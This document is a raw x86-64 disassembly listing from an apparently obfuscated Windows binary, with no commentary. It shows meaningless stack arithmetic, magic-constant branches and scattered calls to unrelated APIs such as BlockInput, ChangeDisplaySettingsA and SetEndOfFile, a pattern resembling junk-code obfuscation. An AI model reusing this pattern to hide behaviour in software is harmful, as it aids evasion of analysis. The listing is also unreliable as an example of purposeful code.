mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
add eax, ecx
movsx ecx, word [rsp + 0xb8c]
mov rdx, qword [rsp + 0x8e78]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1401b8c9e
mov rax, qword [rsp + 0x8ca0]
movzx eax, byte [rax]
mov byte [rsp + 0x42b4], al
cmp byte [rsp + 0x42b4], 0x57
je 0x140004c50
cmp byte [rsp + 0x42b4], 0x79
je 0x140004ce4
jmp 0x140004d02
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xb70]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xb60]
sub ecx, edx
cmp eax, ecx
jg 0x140004c98
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xb60]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov ecx, 1
call qword [sym.imp.USER32.dll_IsGUIThread]
mov dword [rsp + 0x42ac], eax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
jmp 0x140004d02
mov r8d, dword [rsp + 0x4280]
mov rdx, qword [rsp + 0x8da0]
movzx ecx, word [rsp + 0xb74]
call fcn.1401ba1d0
nop
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x42b8], al
cmp byte [rsp + 0x42b8], 0
je 0x140004d1d
jmp 0x140004e2a
mov eax, dword [rsp + 0x4214]
mov dword [rsp + 0x42bc], eax
cmp dword [rsp + 0x42bc], 0x9c27
je 0x140004d4e
cmp dword [rsp + 0x42bc], 0x7cf00000
je 0x140004de9
jmp 0x140004e1a
mov r9, qword [rsp + 0x8ea0]
mov r8d, 0x3d
mov edx, 0xdb
mov rcx, qword [rsp + 0x8ea8]
call qword [sym.imp.USER32.dll_DrawIcon]
mov dword [rsp + 0x42c0], eax
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cc0]
mov qword [rsp + 0x8eb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8eb0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8cd0]
mov rcx, qword [rsp + 0x8c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8e90]
mov dword [rcx], eax
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0x8da0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c18], rax
jmp 0x140004e1a
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov dword [rsp + 0x42c4], eax
movsx eax, byte [rsp + 0x54]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x52], al
lea rax, [rsp + 0xb84]
mov qword [rsp + 0x8eb8], rax
mov dword [rsp + 0x42c8], 0xbcb1
jmp 0x140004f01
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov qword [rsp + 0x8ec0], rax
movabs rax, 0x72209e88260b1b
cmp qword [rsp + 0x8ec0], rax
je 0x140004ee3
movabs rax, 0x7efe239fe9934a
cmp qword [rsp + 0x8ec0], rax
je 0x140004e6e
jmp 0x140004f01
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8c70]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140004ee1
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x8c20]
mov r9, qword [rax]
mov rax, qword [rsp + 0x8c20]
mov r8, qword [rax]
mov rax, qword [rsp + 0x8c20]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x8e10]
call fcn.1401bb150
nop
jmp 0x140004f01
lea rdx, [rsp + 0x253f0]
mov rcx, qword [rsp + 0x8cf0]
call qword [sym.imp.USER32.dll_BeginPaint]
mov qword [rsp + 0x8ec8], rax
movzx eax, byte [rsp + 0x51]
mov byte [0x1401e7418], al
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov qword [rsp + 0x8ed0], rax
cmp qword [rsp + 0x8ed0], 0
je 0x140004f2f
jmp 0x1401b8bb0
movzx eax, word [0x1401e6004]
mov dword [rsp + 0x42cc], eax
cmp dword [rsp + 0x42cc], 0xdfd0
je 0x140004f4f
jmp 0x1400051c3
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov qword [rsp + 0x8ed8], rax
cmp qword [rsp + 0x8ed8], 0
je 0x1400050a2
movabs rax, 0x7ed3b82184bedd
cmp qword [rsp + 0x8ed8], rax
je 0x140004fab
jmp 0x1400051be
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sar eax, cl
movzx ecx, byte [rsp + 0x53]
movzx edx, byte [rsp + 0x51]
xor ecx, edx
cmp eax, ecx
jl 0x14000509d
mov rax, qword [rsp + 0x8c18]
mov qword [rsp + 0x8ee0], rax
movabs rax, 0x75428d4e5b453f
cmp qword [rsp + 0x8ee0], rax
je 0x140005000
jmp 0x140005084
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c70], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rsp + 0x41ac], eax
mov eax, dword [rsp + 0x4270]
mov ecx, dword [rsp + 0x41d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov edx, 0x7e
lea rcx, [rsp + 0x2eea0]
call qword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
mov dword [rsp + 0x423c], eax
jmp 0x14000509d
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [0x1401e6004], ax
jmp 0x1400051be
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x52]
add ecx, edx
cmp eax, ecx
jne 0x140005172
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8c18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov rdx, qword [rsp + 0x8cc8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
ja 0x140005170
lea rax, [rsp + 0xb84]
mov qword [rsp + 0x8ee8], rax
mov dword [rsp + 0x42d0], 0xfd8c
lea rdx, [rsp + 0x28148]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
movsx eax, word [rsp + 0xb8c]
movsx ecx, word [rsp + 0xb84]
shl eax, cl
mov word [rsp + 0xb74], ax
jmp 0x1400051be
movsx eax, word [rsp + 0xb8c]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
movsx ecx, word [rsp + 0xb64]
mov rdx, qword [rsp + 0x8ca8]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x1400051be
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
jmp 0x1400052e7
mov rcx, qword [rsp + 0x8cf0]
call qword [sym.imp.USER32.dll_GetListBoxInfo]
mov dword [rsp + 0x42d4], eax
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x42d8], eax
cmp dword [rsp + 0x42d8], 0x6ead
je 0x1400051f8
jmp 0x1400052c7
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x53]
add ecx, edx
cmp eax, ecx
jg 0x1400052c5
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e90]
mov dword [rcx], eax
mov cl, 0x62
call qword [sym.imp.USER32.dll_IsCharLowerA]
mov dword [rsp + 0x4268], eax
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0x8c70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8e20]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x8cc8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x8c20]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8e10]
call fcn.1401bb150
nop
jmp 0x1400052e7
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6006], al
cmp dword [rsp + 0x42d0], 0x11d08
je 0x1400055f9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x42d0]
add eax, 0x9b
mov dword [rsp + 0x42d0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2eaf
mov r9d, 0xcbb
mov r8d, 0x68ae989f
mov edx, 2
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4274], eax
movsx eax, word [rsp + 0xb8c]
movsx ecx, word [rsp + 0xb74]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [rsp + 0x53], al
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4238], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x42dc], eax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
mov eax, dword [rsp + 0x41bc]
movzx ecx, al
mov eax, dword [rsp + 0x423c]
sar eax, cl
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8c18]
shl rax, cl
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov r9d, 1
lea r8, [rsp + 0x8db0]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4234], eax
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x41c8], eax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov dword [rsp + 0x42d4], eax
lea rcx, [rsp + 0x26878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
xor eax, ecx
mov word [0x1401e6004], ax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x53], al
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb64]
and eax, ecx
mov word [rsp + 0xb84], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [0x1401e6008]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c70], rax
mov eax, dword [rsp + 0x41d0]
mov ecx, dword [rsp + 0x4270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb70]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
jmp 0x1400052ff
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov dword [rsp + 0x42e0], eax
cmp dword [rsp + 0x42e0], 0x9864
je 0x140005622
jmp 0x140005673
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
mov r9, qword [rsp + 0x8c98]
mov rax, qword [rsp + 0x8e18]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x8e18]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x53]
call fcn.1401ba490
nop
jmp 0x1401b8b5f
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
xor eax, ecx
movsx ecx, word [rsp + 0xb8c]
movsx edx, word [rsp + 0xb68]
or ecx, edx
cmp eax, ecx
jg 0x1400057cd
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x8ef0], rax
movabs rax, 0x7d3d61c7772dc4
cmp qword [rsp + 0x8ef0], rax
je 0x1400056ce
jmp 0x1400057ae
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x42e4], al
cmp byte [rsp + 0x42e4], 0x44
je 0x1400056e9
jmp 0x1400057a6
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8c68]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jl 0x140005753
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x4280]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8db8]
mov qword [rcx], rax
jmp 0x1400057a4
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x41d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x42d4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x1400057a4
lea r9, [rsp + 0x29e00]
xor r8d, r8d
mov edx, 0x88
mov rcx, qword [rsp + 0x8ef8]
call qword [sym.imp.USER32.dll_SetMenuItemInfoA]
mov dword [rsp + 0x429c], eax
jmp 0x1400057ac
call fcn.1401bac30
nop
jmp 0x1400057cb
lea rax, [rsp + 0x41b8]
mov qword [rsp + 0x8f00], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42e8], eax
jmp 0x14000583a
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8e10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c18], rax
lea rax, [rsp + 0x8c20]
mov qword [rsp + 0x20], rax
mov r9d, 0x69
mov r8, qword [rsp + 0x8e08]
lea rdx, [rsp + 0x2ef40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ChangeDisplaySettingsExA]
mov dword [rsp + 0x423c], eax
movzx eax, word [rsp + 0xb70]
movzx ecx, word [rsp + 0xb78]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x8f08], rax
movabs rax, 0x7ea15c192bc657
cmp qword [rsp + 0x8f08], rax
je 0x140005860
jmp 0x140005881
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
shl eax, cl
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
jmp 0x1401b8ada
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb8c]
and eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x8e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x424c], eax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x41c8], eax
lea rdx, [rsp + 0x8c48]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x42ec], eax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb90], ax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8f10], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
movsx eax, byte [0x1401e6006]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
and eax, ecx
mov word [0x1401e6004], ax
movzx eax, word [rsp + 0xb60]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb70], ax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4234], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov eax, dword [rsp + 0x4288]
add eax, 0x39
mov dword [rsp + 0x4288], eax
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x41d0]
shl eax, cl
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8d70]
mov qword [rsp + 0x8f18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f18]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x423c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
movsx eax, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x8eb8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x54], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4097
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42f0], eax
movsx eax, word [rsp + 0xb8c]
movsx ecx, word [rsp + 0xb84]
add eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8e98]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4204], eax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8da0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb70]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e7418], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
lea rcx, [rsp + 0x8db0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb74], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
and eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
cmp dword [rsp + 0x4288], 0x8ad5
jb 0x1400058a1
lea rax, [rsp + 0x8c18]
mov qword [rsp + 0x8f20], rax
mov eax, dword [rsp + 0x42c8]
sub eax, 0x4c
mov dword [rsp + 0x42c8], eax
mov eax, dword [rsp + 0x4228]
mov dword [rsp + 0x4270], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
movsx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movsx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb74], ax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8da0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x42c4]
mov ecx, dword [rsp + 0x423c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov eax, dword [rsp + 0x41d0]
mov rcx, qword [rsp + 0x8e90]
mov qword [rsp + 0x8f28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4270], eax
mov dword [rsp + 0x20], 0x3349
mov r9d, 0x2908
mov r8d, 0x3106
mov edx, 0x2f9
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x8dd8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8c70], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
sar eax, cl
mov byte [0x1401e7418], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [0x1401e6004]
sub eax, ecx
mov word [rsp + 0xb60], ax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
